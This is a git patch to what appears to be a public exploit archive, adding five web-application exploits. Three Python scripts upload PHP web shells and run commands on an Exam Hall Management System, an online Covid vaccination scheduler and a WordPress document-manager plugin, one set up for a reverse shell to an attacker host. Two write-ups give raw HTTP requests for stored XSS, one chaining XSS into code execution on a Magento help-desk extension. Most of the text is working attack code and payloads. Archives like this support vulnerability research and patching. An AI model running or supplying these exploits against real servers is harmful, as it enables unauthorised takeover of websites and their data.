From 57766a2587409077260bf0d11908b715bdf68de4 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 9 Jul 2021 05:01:53 +0000 Subject: [PATCH] DB: 2021-07-09 5 changes to exploits/shellcodes Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated) Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS) Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated) Wordpress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated) --- exploits/multiple/webapps/50113.txt | 218 ++++++++++++++++++++++++++++ exploits/php/webapps/50111.py | 61 ++++++++ exploits/php/webapps/50112.txt | 25 ++++ exploits/php/webapps/50114.py | 157 ++++++++++++++++++++ exploits/php/webapps/50115.py | 139 ++++++++++++++++++ files_exploits.csv | 5 + 6 files changed, 605 insertions(+) create mode 100644 exploits/multiple/webapps/50113.txt create mode 100755 exploits/php/webapps/50111.py create mode 100644 exploits/php/webapps/50112.txt create mode 100755 exploits/php/webapps/50114.py create mode 100755 exploits/php/webapps/50115.py diff --git a/exploits/multiple/webapps/50113.txt b/exploits/multiple/webapps/50113.txt new file mode 100644 index 000000000..aa77bad3f --- /dev/null +++ b/exploits/multiple/webapps/50113.txt @@ -0,0 +1,218 @@ +# Exploit Title: Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE) +# Date: 2021-07-07 +# Exploit Author: Patrik Lantz +# Vendor Homepage: https://www.wyomind.com/magento2/helpdesk-magento-2.html +# Version: <= 1.3.6 +# Tested on: Ubuntu 18.04-20.04, Apache, PHP 7.2, Magento 2 + + +The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution. + +A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section. +The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable +the delivery of the XSS payload: + +POST /helpdesk/customer/ticket_save/ HTTP/1.1 +Host: +Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635 +Content-Length: 683 +Origin: https:// +Connection: close +Referer: https:///helpdesk/customer/ticket_view/ +Cookie: +Upgrade-Insecure-Requests: 1 + +-----------------------------243970849510445067673127196635 +Content-Disposition: form-data; name="form_key" + + +-----------------------------243970849510445067673127196635 +Content-Disposition: form-data; name="object" + +Hello +-----------------------------243970849510445067673127196635 +Content-Disposition: form-data; name="message_cc" + + +-----------------------------243970849510445067673127196635 +Content-Disposition: form-data; name="content" + +

+-----------------------------243970849510445067673127196635 +Content-Disposition: form-data; name="hideit" + + +-----------------------------243970849510445067673127196635-- + + + +The following XSS payload shown below can be used to trigger + +1) Enabling file attachments in ticket messages +2) Adding 'phar' to allowed file extensions +3) Setting the attachment directory to 'helpdesk/files/../../../pub' + + + + +After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting + +https://[HOSTNAME]///filename.phar + +ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the +URL, for example: + +https://[HOSTNAME]/helpdesk/customer/ticket_view/ticket_id/7/ + +and the messageId can be identified by hovering over the uploaded file link which will be similar to + +https://[HOSTNAME]/helpdesk/customer/message_downloadAttachment/message/40/file/filename.phar + +in this case, the messageId is 40. \ No newline at end of file diff --git a/exploits/php/webapps/50111.py b/exploits/php/webapps/50111.py new file mode 100755 index 000000000..d46c20316 --- /dev/null +++ b/exploits/php/webapps/50111.py @@ -0,0 +1,61 @@ +# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated) +# Exploit Author: Davide 'yth1n' Bianchin +# Contacts: davide dot bianchin at dedagroup dot it +# Original PoC: https://exploit-db.com/exploits/50103 +# Date: 06.07.2021 +# Vendor Homepage: https://www.sourcecodester.com +# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html +# Version: 1.0 +# Tested on: Kali Linux + +import requests +from requests_toolbelt.multipart.encoder import MultipartEncoder +import os +import sys +import string +import random +import time + +host = 'localhost' #CHANGETHIS +path = 'SourceCode' #CHANGETHIS + +url = 'http://'+host+'/'+path+'/pages/save_user.php' + +def id_generator(size=6, chars=string.ascii_lowercase): + return ''.join(random.choice(chars) for _ in range(size))+'.php' + +if len(sys.argv) == 1: + print("#########") + print("Usage: python3 examhallrce.py command") + print("Usage: Use the char + to concatenate commands") + print("Example: python3 examhallrce.py whoami") + print("Example: python3 examhallrce.py ls+-la") + print("#########") + exit() + + +filename = id_generator() +print("Generated "+filename+ " file..") +time.sleep(2) +print("Uploading file..") +time.sleep(2) + + + + +def reverse(): + command = sys.argv[1] + multipart_data = MultipartEncoder({ + 'image': (filename, '', 'application/octet-stream'), + 'btn_save': '' + }) + r = requests.post(url, data=multipart_data, headers={'Content-Type':multipart_data.content_type}) + endpoint = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'' + urlo = 'http://'+host+'/'+path+'/uploadImage/Profile/'+filename+'?cmd='+command+'' + print("Success, file correctly uploaded at: " +endpoint+ "") + time.sleep(1) + print("Executing command in 1 seconds:\n") + time.sleep(1) + os.system("curl -X GET "+urlo+"") + +reverse() \ No newline at end of file diff --git a/exploits/php/webapps/50112.txt b/exploits/php/webapps/50112.txt new file mode 100644 index 000000000..e0a20f745 --- /dev/null +++ b/exploits/php/webapps/50112.txt @@ -0,0 +1,25 @@ +# Exploit Title: Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS) +# Date: 07 July 2021 +# Exploit Author: Subhadip Nag (mrl0s3r) +# Vendor Homepage: https://phpgurukul.com/ +# Software Link: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/ +# Tested on: Server: XAMPP + +# Description # + +Employee Record Management System 1.2 is vulnerable to stored cross site scripting (xss) in the Edit My Education because of insufficient user supplied data. + + +# Proof of Concept (PoC) : Exploit # + +1) Goto: http://localhost/ERMSP/erms/loginerms.php +2) Login: Login as a User(given username and password) +3) Go To Edit My Education and Edit My Exp +4) Enter the payload: +5) Click Update +6) Go to 'My Education' option +7) Our XSS attack successful + +# PoC image +1) https://ibb.co/LS78xjX +2) https://ibb.co/9G0Pbxb \ No newline at end of file diff --git a/exploits/php/webapps/50114.py b/exploits/php/webapps/50114.py new file mode 100755 index 000000000..b257024cc --- /dev/null +++ b/exploits/php/webapps/50114.py @@ -0,0 +1,157 @@ +# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated) +# Date: 2021-07-07 +# Exploit Author: faisalfs10x +# Vendor Homepage: https://www.sourcecodester.com/ +# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip +# Version: 1.0 +# Tested on: Windows 10, XAMPP + + +""" +################ +# Description # +################ + +1. The admin panel UI login can be assessed at http://{ip}/scheduler/admin/login.php. Due to the client-side input validation implemented within scripts, it is possible to bypass and access the admin panel UI by making request to "http://localhost/scheduler/admin/?page=user" and removing the javascript tag '' in the server response body. +For making the process easier, we can use burp "Match and Replace" option to automatically replace the javascript tag parts of responses body passing through the proxy. +2. The admin panel has an upload function of profile photo accessible at http://localhost/scheduler/admin/?page=user. An attacker could upload a malicious file such as shell.php with the Content-Type: image/png. Then, the attacker have to visit the uploaded profile photo to access the shell. + + +##################### +# PoC for webshell # +##################### + +Request: +======== + +POST /scheduler/classes/Users.php?f=save HTTP/1.1 +Host: localhost +Content-Length: 721 +sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" +Accept: */* +X-Requested-With: XMLHttpRequest +sec-ch-ua-mobile: ?0 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY +Origin: http://localhost +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: cors +Sec-Fetch-Dest: empty +Referer: http://localhost/scheduler/admin/?page=user +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127 +Connection: close + +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="id" + +1 +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="firstname" + +Adminstrator +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="lastname" + +Admin +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="username" + +admin +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="password" + + +------WebKitFormBoundaryYrg9YZykFY2bmNqY +Content-Disposition: form-data; name="img"; filename="rev.php" +Content-Type: image/png + + # shell content here +------WebKitFormBoundaryYrg9YZykFY2bmNqY-- + + +#################### +# Webshell access: # +#################### + +# Webshell access via: +PoC: http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami + +# Output: +output: windows10/user + +""" + +################################################## +# Reverse shell exploit code for windows target: # +################################################## + +#!/usr/bin/python + +import requests +import sys +import string +import random +import urllib.request +from requests_html import HTMLSession + +if len(sys.argv) < 4: + print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+' ') + exit() + +RHOST = sys.argv[1] +RPORT = '80' + +LHOST = sys.argv[2] +LPORT = sys.argv[3] + +if not RHOST.startswith('http://') and not RHOST.startswith('https://'): + RHOST = "http://" + RHOST + +# if not RHOST.endswith('/'): +# RHOST = RHOST + "/" + +# RHOST = '127.0.0.1' +# RPORT = '80' +# LHOST = '192.168.8.117' +# LPORT = '4444' + +shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here + +let = string.ascii_lowercase +shellfilename = ''.join(random.choice(let) for i in range(5))+".php" # or just static shellfilename = 'rev.php' + +req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell + +req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"", +"Accept": "*/*", +"X-Requested-With": "XMLHttpRequest", +"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", +"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY", +"Accept-Language": "en-US,en;q=0.9", +"Connection": "close"} + +req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY--\r\n" + +print("\033[1;33;40m Uploading shell...") +out = requests.post(req_url, headers=req_headers, data=req_data, verify=False) + +print("\033[1;31;40m Uploaded shell will be available at "+shellpath+"") +print(" Enjoy!") + +# finding the uploaded shell +session = HTMLSession() +r = session.get(shellpath) +sel = 'a[href*="'+shellfilename+'"]' +find_shellfilename = r.html.find(sel) + +# popping up the shell :p +for shellname in find_shellfilename: + try: + url = shellname.absolute_links.pop() + print("\033[1;33;40m Shell is available at "+url+"") + response = urllib.request.urlopen(url) + print(" Byeee!") + except KeyboardInterrupt: + exit('User aborted!') \ No newline at end of file diff --git a/exploits/php/webapps/50115.py b/exploits/php/webapps/50115.py new file mode 100755 index 000000000..8b21a9f32 --- /dev/null +++ b/exploits/php/webapps/50115.py @@ -0,0 +1,139 @@ +# Exploit Title: Wordpress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated) +# Date 07.07.2021 +# Exploit Author: Ron Jost (Hacker5preme) +# Vendor Homepage: https://smartypantsplugins.com/ +# Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.4.21.zip +# Version: Before 4.22 +# Tested on: Ubuntu 18.04 +# CVE: CVE-2021-24347 +# CWE: CWE-434 +# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24347/README.md + +''' +Description: +The SP Project & Document Manager WordPress plugin before 4.22 allows users to upload files, however, +the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded +by checking the file extension. It was discovered that php files could still be uploaded by +changing the file extension's case, for example, from "php" to "pHP". +''' + + +''' +Banner: +''' +banner = """ + ______ _______ ____ ___ ____ _ ____ _ _ _____ _ _ _____ + / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || ||___ /| || |___ | +| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_ |_ \| || |_ / / +| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _|__) |__ _/ / + \____| \_/ |_____| |_____|\___/_____|_| |_____| |_||____/ |_|/_/ + + * Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated) + * @Hacker5preme + +""" +print(banner) + + +''' +Import required modules: +''' +import requests +import argparse + + +''' +User-Input: +''' +my_parser = argparse.ArgumentParser(description='Wordpress Plugin SP Project & Document Manager < 4.22 - RCE (Authenticated)') +my_parser.add_argument('-T', '--IP', type=str) +my_parser.add_argument('-P', '--PORT', type=str) +my_parser.add_argument('-U', '--PATH', type=str) +my_parser.add_argument('-u', '--USERNAME', type=str) +my_parser.add_argument('-p', '--PASSWORD', type=str) +args = my_parser.parse_args() +target_ip = args.IP +target_port = args.PORT +wp_path = args.PATH +username = args.USERNAME +password = args.PASSWORD +print('') +print('[*] Starting Exploit:') +print('') + +''' +Authentication: +''' +session = requests.Session() +auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' + +# Header: +header = { + 'Host': target_ip, + 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', + 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', + 'Accept-Encoding': 'gzip, deflate', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'http://' + target_ip, + 'Connection': 'close', + 'Upgrade-Insecure-Requests': '1' +} + +# Body: +body = { + 'log': username, + 'pwd': password, + 'wp-submit': 'Log In', + 'testcookie': '1' +} + +# Authenticate: +print('') +auth = session.post(auth_url, headers=header, data=body) +auth_header = auth.headers['Set-Cookie'] +if 'wordpress_logged_in' in auth_header: + print('[+] Authentication successfull !') +else: + print('[-] Authentication failed !') + exit() + + +''' +Retrieve User ID from the widget: +''' +user_id_text = session.get('http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=sp-client-document-manager-fileview').text +search_string = "
\n \n \n \n \n\n\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-notes\"\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"sp-cdm-community-upload\"\r\n\r\nUpload\r\n-----------------------------37032792112149247252673711332--\r\n" + +# Exploit: +session.post(exploit_url, headers=header, data=shell_payload) +print('') +print('[+] Exploit done !') +print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/sp-client-document-manager/' + user_id + '/shell.php') +print('') \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 9a73e9d3f..efcf9f0c4 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -44248,3 +44248,8 @@ id,file,description,date,author,type,platform,port 50106,exploits/php/webapps/50106.txt,"Phone Shop Sales Managements System 1.0 - 'Multiple' Arbitrary File Upload to Remote Code Execution",2021-07-06,faisalfs10x,webapps,php, 50109,exploits/php/webapps/50109.txt,"Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection",2021-07-07,faisalfs10x,webapps,php, 50110,exploits/php/webapps/50110.py,"WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)",2021-07-07,"Beren Kuday GÖRÜN",webapps,php, +50111,exploits/php/webapps/50111.py,"Exam Hall Management System 1.0 - Unrestricted File Upload + RCE (Unauthenticated)",2021-07-08,"Davide \'yth1n\' Bianchin",webapps,php, +50112,exploits/php/webapps/50112.txt,"Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS)",2021-07-08,"Subhadip Nag",webapps,php, +50113,exploits/multiple/webapps/50113.txt,"Wyomind Help Desk 1.3.6 - Remote Code Execution (RCE)",2021-07-08,"Patrik Lantz",webapps,multiple, +50114,exploits/php/webapps/50114.py,"Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated)",2021-07-08,faisalfs10x,webapps,php, +50115,exploits/php/webapps/50115.py,"Wordpress Plugin SP Project & Document Manager 4.21 - Remote Code Execution (RCE) (Authenticated)",2021-07-08,"Ron Jost",webapps,php,